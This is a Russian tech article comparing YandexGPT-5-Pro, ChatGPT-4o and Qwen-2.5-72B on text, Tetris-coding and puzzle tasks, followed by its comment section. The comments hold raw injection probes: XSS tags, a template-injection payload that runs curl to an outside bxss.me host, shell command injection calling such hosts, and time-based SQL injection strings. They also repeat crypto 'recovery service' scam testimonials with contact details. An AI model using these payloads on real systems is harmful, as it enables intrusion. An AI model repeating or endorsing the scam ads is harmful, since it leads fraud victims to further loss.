        function clearShape(shape, x, y) {
            for (let y0 = 0; y0 < SHAPE_SIZE; y0++) {
                for (let x0 = 0; x0 < SHAPE_SIZE; x0++) {
                    if (shapey0x0) {
                        const cell = getCell(x + x0, y + y0);
                        cell.style.backgroundColor = '#fff';
                    }
                }
            }
        }

        // Получение ячейки по координатам
        function getCell(x, y) {
            return gameBoard.children[y * BOARD_WIDTH + x];
        }

        // Поворот фигуры
        function rotateShape(shape) {
            const newShape = ;
            for (let y = 0; y < SHAPE_SIZE; y++) {
                newShapey = ;
                for (let x = 0; x < SHAPE_SIZE; x++) {
                    newShapeyx = shapeSHAPE_SIZE - 1 - x;
                }
            }
            return newShape;
        }

        // Движение фигуры вниз
        function moveDown() {
            if (!gameOver) {
                if (!checkCollision(currentShape.x, currentShape.y + 1, currentShape.shape)) {
                    clearShape(currentShape.shape, currentShape.x, currentShape.y);
                    currentShape.y++;
                    drawShape(currentShape.shape, currentShape.x, currentShape.y, currentShape.color);
                } else {
                    // Зафиксируем фигуру на поле
                    for (let y = 0; y < SHAPE_SIZE; y++) {
                        for (let x = 0; x < SHAPE_SIZE; x++) {
                            if (currentShape.shapeyx) {
                                boardcurrentShape.y + ycurrentShape.x + x = currentShape.color;
                            }
                        }
                    }
                    // Проверяем полные строки
                    checkLines();
                    // Создаем новую фигуру
                    newShape();
                }
            }
        }

        // Обработка клавиш
        document.addEventListener('keydown', (event) => {
            if (!gameOver) {
                const key = event.key;
                const move = {
                    'ArrowLeft': -1,
                    'ArrowRight': 1,
                    'a': -1,
                    'd': 1
                };

                switch (key) {
                    case 'ArrowDown':
                    case 's':
                        moveDown();
                        break;
                    case 'ArrowLeft':
                    case 'a':
                    case 'ArrowRight':
                    case 'd':
                        if (!checkCollision(currentShape.x + movekey, currentShape.y, currentShape.shape)) {
                            clearShape(currentShape.shape, currentShape.x, currentShape.y);
                            currentShape.x += movekey;
                            drawShape(currentShape.shape, currentShape.x, currentShape.y, currentShape.color);
                        }
                        break;
                    case ' ':
                    case 'w':
                        const newShape = rotateShape(currentShape.shape);
                        if (!checkCollision(currentShape.x, currentShape.y, newShape)) {
                            clearShape(currentShape.shape, currentShape.x, currentShape.y);
                            currentShape.shape = newShape;
                            drawShape(currentShape.shape, currentShape.x, currentShape.y, currentShape.color);
                        }
                        break;
                }
            }
        });

        // Перезапуск игры
        function restartGame() {
            document.querySelector('.game-over-screen').classList.remove('active');
            init();
        }

        // Запуск игры
        init();
    </script>

ChatGPT-4o

Исходный код
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Tetris</title>
    <style>
    body {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        background-color: #f0f0f0;
        margin: 0;
    }

    canvas {
        background-color: #fff;
        border: 2px solid #333;
    }
    </style>
</head>

<body>
    <canvas id="tetris" width="240" height="400"></canvas>
    <script>
    const canvas = document.getElementById('tetris');
    const context = canvas.getContext('2d');
    context.scale(20, 20);

    const matrix = [
        [0, 0, 0],
        [1, 1, 1],
        [0, 1, 0],
    ];

    function createMatrix(w, h) {
        const matrix = [];
        while (h--) {
            matrix.push(new Array(w).fill(0));
        }
        return matrix;
    }

    function drawMatrix(matrix, offset) {
        matrix.forEach((row, y) => {
            row.forEach((value, x) => {
                if (value !== 0) {
                    context.fillStyle = 'red';
                    context.fillRect(x + offset.x, y + offset.y, 1, 1);
                }
            });
        });
    }

    function draw() {
        context.clearRect(0, 0, canvas.width, canvas.height);
        drawMatrix(arena, { x: 0, y: 0 });
        drawMatrix(player.matrix, player.pos);
    }

    function merge(arena, player) {
        player.matrix.forEach((row, y) => {
            row.forEach((value, x) => {
                if (value !== 0) {
                    arena[y + player.pos.y][x + player.pos.x] = value;
                }
            });
        });
    }

    function rotate(matrix, dir) {
        for (let y = 0; y < matrix.length; ++y) {
            for (let x = 0; x < y; ++x) {
                [
                    matrix[x][y],
                    matrix[y][x],
                ] = [
                    matrix[y][x],
                    matrix[x][y],
                ];
            }
        }
        if (dir > 0) {
            matrix.forEach(row => row.reverse());
        } else {
            matrix.reverse();
        }
    }

    function collide(arena, player) {
        const [m, o] = [player.matrix, player.pos];
        for (let y = 0; y < m.length; ++y) {
            for (let x = 0; x < m[y].length; ++x) {
                if (m[y][x] !== 0 &&
                    (arena[y + o.y] &&
                        arena[y + o.y][x + o.x]) !== 0) {
                    return true;
                }
            }
        }
        return false;
    }

    function playerDrop() {
        player.pos.y++;
        if (collide(arena, player)) {
            player.pos.y--;
            merge(arena, player);
            playerReset();
            arenaSweep();
        }
        dropCounter = 0;
    }

    function playerMove(dir) {
        player.pos.x += dir;
        if (collide(arena, player)) {
            player.pos.x -= dir;
        }
    }

    function playerReset() {
        const pieces = 'ILJOTSZ';
        player.matrix = createPiece(pieces[Math.floor(Math.random() * pieces.length)]);
        player.pos.y = 0;
        player.pos.x = (arena[0].length / 2 | 0) -
            (player.matrix[0].length / 2 | 0);
        if (collide(arena, player)) {
            arena.forEach(row => row.fill(0));
        }
    }

    function createPiece(type) {
        if (type === 'T') {
            return [
                [0, 0, 0],
                [1, 1, 1],
                [0, 1, 0],
            ];
        } else if (type === 'O') {
            return [
                [1, 1],
                [1, 1],
            ];
        } else if (type === 'L') {
            return [
                [0, 1, 0],
                [0, 1, 0],
                [0, 1, 1],
            ];
        } else if (type === 'J') {
            return [
                [0, 1, 0],
                [0, 1, 0],
                [1, 1, 0],
            ];
        } else if (type === 'I') {
            return [
                [0, 1, 0, 0],
                [0, 1, 0, 0],
                [0, 1, 0, 0],
                [0, 1, 0, 0],
            ];
        } else if (type === 'S') {
            return [
                [0, 1, 1],
                [1, 1, 0],
                [0, 0, 0],
            ];
        } else if (type === 'Z') {
            return [
                [1, 1, 0],
                [0, 1, 1],
                [0, 0, 0],
            ];
        }
    }

    function arenaSweep() {
        outer: for (let y = arena.length - 1; y > 0; --y) {
            for (let x = 0; x < arena[y].length; ++x) {
                if (arena[y][x] === 0) {
                    continue outer;
                }
            }

            const row = arena.splice(y, 1)[0].fill(0);
            arena.unshift(row);
            ++y;
        }
    }

    let dropCounter = 0;
    let dropInterval = 1000;

    let lastTime = 0;

    function update(time = 0) {
        const deltaTime = time - lastTime;
        lastTime = time;

        dropCounter += deltaTime;
        if (dropCounter > dropInterval) {
            playerDrop();
        }

        draw();
        requestAnimationFrame(update);
    }

    const arena = createMatrix(12, 20);

    const player = {
        pos: { x: 0, y: 0 },
        matrix: null,
    };

    document.addEventListener('keydown', event => {
        if (event.keyCode === 37 || event.keyCode === 65) {
            playerMove(-1);
        } else if (event.keyCode === 39 || event.keyCode === 68) {
            playerMove(1);
        } else if (event.keyCode === 40 || event.keyCode === 83) {
            playerDrop();
        } else if (event.keyCode === 32) {
            rotate(player.matrix, 1);
            while (collide(arena, player)) {
                player.pos.x++;
            }
        }
    });

    playerReset();
    update();
    </script>
</body>

</html>

Qwen-2.5-72B-Instruct

Исходный код
<!DOCTYPE html>
<html lang="ru">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Тетрис</title>
    <style>
    body {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        margin: 0;
        background-color: #000;
    }

    canvas {
        border: 1px solid #fff;
    }
    </style>
</head>

<body>
    <canvas id="tetris" width="300" height="600"></canvas>
    <script>
    const canvas = document.getElementById('tetris');
    const context = canvas.getContext('2d');

    const ROW = 20;
    const COL = 10;
    const SQ = 30;
    const VACANT = 'black';
    const COLORS = [
        'red', 'blue', 'green', 'yellow', 'purple', 'cyan', 'orange'
    ];

    let board = [];
    for (let row = 0; row < ROW; row++) {
        board[row] = [];
        for (let col = 0; col < COL; col++) {
            board[row][col] = VACANT;
        }
    }

    function drawBoard() {
        for (let row = 0; row < ROW; row++) {
            for (let col = 0; col < COL; col++) {
                context.fillStyle = board[row][col];
                context.fillRect(col * SQ, row * SQ, SQ, SQ);
            }
        }
    }

    const PIECES = [
        [Z, 'red'],
        [S, 'blue'],
        [T, 'green'],
        [O, 'yellow'],
        [L, 'purple'],
        [I, 'cyan'],
        [J, 'orange']
    ];

    const Z = [
        [0, 0, 0],
        [1, 1, 0],
        [0, 1, 1]
    ];

    const S = [
        [0, 0, 0],
        [0, 1, 1],
        [1, 1, 0]
    ];

    const T = [
        [0, 0, 0],
        [1, 1, 1],
        [0, 1, 0]
    ];

    const O = [
        [0, 0, 0],
        [0, 1, 1],
        [0, 1, 1]
    ];

    const L = [
        [0, 0, 0],
        [1, 1, 1],
        [1, 0, 0]
    ];

    const I = [
        [0, 0, 0, 0],
        [1, 1, 1, 1],
        [0, 0, 0, 0],
        [0, 0, 0, 0]
    ];

    const J = [
        [0, 0, 0],
        [1, 1, 1],
        [0, 0, 1]
    ];

    let pIndex = 0;
    let score = 0;
    let piece = new Piece(PIECES[pIndex][0], PIECES[pIndex][1]);

    function Piece(tetromino, color) {
        this.tetromino = tetromino;
        this.color = color;
        this.tetrominoN = 0;
        this.activeTetromino = this.tetromino[this.tetrominoN];
        this.x = 3;
        this.y = -2;
    }

    Piece.prototype.fill = function(color) {
        for (let row = 0; row < this.activeTetromino.length; row++) {
            for (let col = 0; col < this.activeTetromino[row].length; col++) {
                if (this.activeTetromino[row][col]) {
                    context.fillStyle = color;
                    context.fillRect(this.x + col, this.y + row, 1, 1);
                }
            }
        }
    };

    Piece.prototype.draw = function() {
        this.fill(this.color);
    };

    Piece.prototype.unDraw = function() {
        this.fill(VACANT);
    };

    Piece.prototype.moveDown = function() {
        if (!this.collision(0, 1, this.activeTetromino)) {
            this.unDraw();
            this.y++;
            this.draw();
        } else {
            this.lock();
            pIndex = (pIndex + 1) % PIECES.length;
            piece = new Piece(PIECES[pIndex][0], PIECES[pIndex][1]);
        }
    };

    Piece.prototype.moveRight = function() {
        if (!this.collision(1, 0, this.activeTetromino)) {
            this.unDraw();
            this.x++;
            this.draw();
        }
    };

    Piece.prototype.moveLeft = function() {
        if (!this.collision(-1, 0, this.activeTetromino)) {
            this.unDraw();
            this.x--;
            this.draw();
        }
    };

    Piece.prototype.rotate = function() {
        let nextPattern = this.tetromino[(this.tetrominoN + 1) % this.tetromino.length];
        let kick = 0;

        if (this.collision(0, 0, nextPattern)) {
            if (this.x > COL / 2) {
                kick = -1;
            } else {
                kick = 1;
            }
        }

        if (!this.collision(kick, 0, nextPattern)) {
            this.unDraw();
            this.x += kick;
            this.tetrominoN = (this.tetrominoN + 1) % this.tetromino.length;
            this.activeTetromino = this.tetromino[this.tetrominoN];
            this.draw();
        }
    };

    Piece.prototype.collision = function(x, y, piece) {
        for (let row = 0; row < piece.length; row++) {
            for (let col = 0; col < piece[row].length; col++) {
                if (!piece[row][col]) {
                    continue;
                }
                let newX = this.x + col + x;
                let newY = this.y + row + y;

                if (newX < 0 || newX >= COL || newY >= ROW) {
                    return true;
                }
                if (newY < 0) {
                    continue;
                }
                if (board[newY][newX] !== VACANT) {
                    return true;
                }
            }
        }
        return false;
    };

    Piece.prototype.lock = function() {
        for (let row = 0; row < this.activeTetromino.length; row++) {
            for (let col = 0; col < this.activeTetromino[row].length; col++) {
                if (!this.activeTetromino[row][col]) {
                    continue;
                }
                if (this.y + row <= 0) {
                    alert('Game Over');
                    gameOver = true;
                    break;
                }
                board[this.y + row][this.x + col] = this.color;
            }
        }
        for (let row = ROW - 1; row >= 0;) {
            let isFull = true;
            for (let col = 0; col < COL; col++) {
                isFull = isFull && (board[row][col] !== VACANT);
            }
            if (isFull) {
                for (let y = row; y > 1; y--) {
                    for (let col = 0; col < COL; col++) {
                        board[y][col] = board[y - 1][col];
                    }
                }
                for (let col = 0; col < COL; col++) {
                    board[0][col] = VACANT;
                }
                score += 10;
            } else {
                row--;
            }
        }
        drawBoard();
        drawNext();
    };

    function drawNext() {
        let nextPiece = new Piece(PIECES[(pIndex + 1) % PIECES.length][0], PIECES[(pIndex + 1) % PIECES.length][1]);
        context.fillStyle = 'white';
        context.fillRect(330, 10, 100, 100);
        nextPiece.draw();
    }

    function control(e) {
        if (e.keyCode === 37) {
            piece.moveLeft();
        } else if (e.keyCode === 39) {
            piece.moveRight();
        } else if (e.keyCode === 38) {
            piece.rotate();
        } else if (e.keyCode === 40) {
            piece.moveDown();
        } else if (e.key === 'w' || e.key === 'W') {
            piece.moveUp();
        } else if (e.key === 's' || e.key === 'S') {
            piece.moveDown();
        } else if (e.key === 'a' || e.key === 'A') {
            piece.moveLeft();
        } else if (e.key === 'd' || e.key === 'D') {
            piece.moveRight();
        } else if (e.key === ' ') {
            piece.rotate();
        }
    }

    document.addEventListener('keydown', control);

    function drop() {
        piece.moveDown();
        draw();
        if (!gameOver) {
            requestAnimationFrame(drop);
        }
    }

    function draw() {
        context.clearRect(0, 0, canvas.width, canvas.height);
        drawBoard();
        piece.draw();
    }

    draw();
    drop();
    </script>
</body>

</html>

Здесь запустилась только версия ChatGPT-4o. В ней всё хорошо: она правильно обрабатывает падение фигур, стирает заполненные ряды, а также поддерживает ускоренное опускание клавишей «Вниз» (что особенно приятно, ведь написать об этом в промте я позабыл).

Версия YandexGPT-5-Pro не завелась по ряду причин. Если в подробностях (благодарю ChatGPT‑o3-mini‑high за ускоренный разбор ошибок):

  • Первые пять фигур переданы как двумерные массивы, а следующие (как раз с того момента, где модель продолжила вывод) — как одномерные. В результате код падает, например, при обращении shape[y0][x0] в функции checkCollision(), так как запрашивается несуществующий элемент.

  • Используется константа SHAPE_SIZE = 4, хотя некоторые фигуры (например, квадрат 2×2) имеют другой размер. Это приводит к тому, что циклы перебора всегда идут от 0 до 3, что может как выйти за пределы массива, так и пропустить часть фигуры.

  • Переменная dropInterval изначально содержит число в миллисекундах, передаваемое в setInterval(moveDown, dropInterval), однако затем её используют в качестве идентификатора таймера для последующего вызова clearInterval(dropInterval). Кроме того, каждый раз при смене уровня создаётся новый интервал, не очищая предыдущий, что может привести к одновременному выполнению нескольких таймеров.

  • Плюс несколько других ошибок, например if(shapey0x0) вместо if(shape[y0] && shape[y0][x0]).

  • И напоследок, особенно понравились «строки сомнения» const newShape = ; и newShapey = ;, — где константе присваивается «ничего» (а также переменная объявляется в глобальном контексте window).

Анализ кода тетриса YandexGPT-5-Pro, выполненный через o3-mini-high
d4d9281c8bca1a150fd4b671c280ac60.png
f57dfc2c5ef9267d5447cf928c79b44f.jpeg

Сгенерированная через Qwen-2.5-72B‑Instruct тоже не запустилась, но ошибки были другими:

  • В массиве PIECES используются переменные Z, S, T, O, L, I, J, хотя они ещё не определены — их объявление находится ниже.

  • В функции control() предусмотрено условие для клавиши W, однако в прототипе Piece отсутствует реализация метода moveUp.

  • В методе Piece.prototype.lock() при обнаружении ситуации «Game over» делается присвоение, но переменная gameOver не была ранее объявлена. Аналогичная проблема при проверке if(!gameOver) в функции drop().

  • Функция drawNext() пытается нарисовать следующую фигуру в области, заданной координатами (330, 10) и размерами 100×100, но ширина канвы составляет 300 пикселей, поэтому область находится за её пределами.

Анализ кода тетриса Qwen-2.5-72B-Instruct через o3-mini-high
8891bb617a7b798b6b4532318a925efc.png

Ищете нейромодели, заточенные под программирование? В нашем агрегаторе нейросетей BotHub есть рассуждающие Claude-3.7 и o3-mini‑high, доступные без ВПН.

Здесь оценки очевидны:

YandexGPT-5-Pro: ★☆☆☆☆
ChatGPT-4o: ★★★★★
Qwen-2.5-72B‑Instruct: ★☆☆☆☆

Создание описаний к новым сериям «Офиса»

Придумай сюжеты‑описания для новых 10 серий сериала «Офис» («The office», 2005–2013).

YandexGPT-5-Pro

Скрытый текст
6013676969e926bcba108cef293612f7.png

ChatGPT-4o

Скрытый текст
2cf85fbcf12ec13350e1ddf8738653bf.png

Qwen-2.5-72B-Instruct

Скрытый текст
9f1231acd72db74158242517204a2f97.png

Оценивать креативные задания, как всегда, непросто, и всё же здесь ответы ChatGPT и YandexGPT чуть более креативные, чем у Qwen: их идеи выглядят ярче, лучше передают настроение оригинала и представляют героев в правдоподобных (и забавных) ситуациях. Сюжеты Qwen кажутся менее оригинальными.

YandexGPT-5-Pro: ★★★★★
ChatGPT-4o: ★★★★★
Qwen-2.5-72B‑Instruct: ★★★★☆

Пароль от лаборатории

Нередко мы запоминаем пароли и коды не напрямую, а через ассоциации. Но хоть и имея на руках набор таких правил, вычислить исходный шифр — серьёзный вызов для нейросетей. Настолько серьёзный, что он даже поломал Qwen.

Логико‑математическая задача: пароль от лаборатории

В секретной лаборатории хранятся важные исследования, и доступ к ней защищён сложной системой: для входа нужно ввести четырёхзначный код.

Известно следующее:
— Код состоит из четырёх различных цифр.
— Если поменять местами первую и последнюю цифры, число увеличится на 1998.
— Сумма первой и третьей цифры равна сумме второй и четвёртой цифр.
— Разность второй и третьей цифр равна первой цифре.
— Сумма всех цифр кода — 18.

Какой код открывает дверь в лабораторию?

Для решения этой задачи важно умение разбирать системы неявных уравнений, анализировать возможные четырёхзначные комбинации, в поисках решения исключать неподходящие варианты, а также, конечно, предоставлять пошаговый процесс решения (потому что этот формат технически близок к рассуждениям, а без этого в решении математики и логики винтики у LLM не закрутятся).

YandexGPT-5-Pro

9e01004845c74500fdbba38c51bb4300.png

ChatGPT-4o

bca3e38f9817d87a4a6350a60b229ec7.png

Qwen-2.5-72B-Instruct

Скрытый текст
71f68da82053a5f747ccc4fd287e0cea.png

Qwen, увы, не смог решить задачу, застряв в бесконечном рассуждении (надеюсь, ваша видеокарта в порядке после просмотра этого скриншота), причём модель несколько раз возвращалась к предыдущим своим ответам, уже отмеченным как неправильные. Кстати, эта неполадка встречается до сих пор — у новой модели Qwen‑QwQ-32B. В качестве решения реддиторы предлагают установить температуру в 0,6, а значение TopP — в 0,95.

ChatGPT-4o почти пришёл к правильному решению — не было соблюдено одно условие: в предоставленном коде 3465 разность второй и третьей цифр на самом деле неравна первой цифре.

И YandexGPT-5-Pro тоже не справился с задачей — здесь, напротив, соблюдено лишь одно из пяти условий (все цифры должны быть разными).

Что ж, похоже, эта задача под силу только рассуждающим моделям (к примеру, o3-mini‑high её смогла решить). Кстати, правильный ответ тут один: 2574. Оценки выставлены на основе того, какое количество из пяти условий исходной задачи было соблюдено.

YandexGPT-5-Pro: ★☆☆☆☆
ChatGPT-4o: ★★★★☆
Qwen-2.5-72B‑Instruct: ☆☆☆☆☆

Таблица результатов

YandexGPT-5-Pro

ChatGPT-4o

Qwen-2.5-72B-Instruct

Составление заголовков к тексту

★★★★★

★★★★☆

★★★★☆

Рерайт текста

★★★★☆

★★★★☆

★★★☆☆

Контент-план для телеграм-канала зоомагазина

★★★★★

★★★★★

★★★★☆

Написание игры: змейка

★☆☆☆☆

★★★★★

★★★★☆

Написание игры: тетрис

★☆☆☆☆

★★★★★

★☆☆☆☆

Создание описаний к новым сериям «Офиса»

★★★★★

★★★★★

★★★★☆

Пароль от лаборатории

★☆☆☆☆

★★★★☆

☆☆☆☆☆

ИТОГО

22/35 баллов

32/35 балла

20/35 баллов

Итак, вот финальный рейтинг: ChatGPT-4o в протестированных задачах лидирует с отрывом. YandexGPT-5-Pro, как и Qwen-2.5-72B‑Instruct, просели в основном в задачах по программированию и математике, поэтому на сегодняшний день 4o остаётся более универсальной моделью. Однако в направлении русскоязычного контента у YandexGPT-5-Pro хорошие возможности — во многих вещах эта модель может дополнить DeepSeek‑r1.

cd40c061b99cfcb8b5fec15317ceab26.jpg

YandexGPT-5-Pro получился любопытным — он явно лучше предшественников, но до лидеров рынка ещё не дотягивается. С текстами тут всё в порядке, но, когда дело доходит до сложных вычислений, механизм начинает поскрипывать. Пока это скорее эволюция, чем прорыв. Если же нужен универсальный ИИ‑помощник на все случаи жизни… ну, вы знаете, куда идти.

Если работать с русскоязычным контентом — вполне стоит пробовать, однако в этой сдержанной революции кодинг и математика всё ещё остаются ахиллесовой пятой. Известно, что уже сейчас «Алису» обучают рассуждать.

Напишите в комментариях, удалось ли вам уже протестировать YandexGPT-5?

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

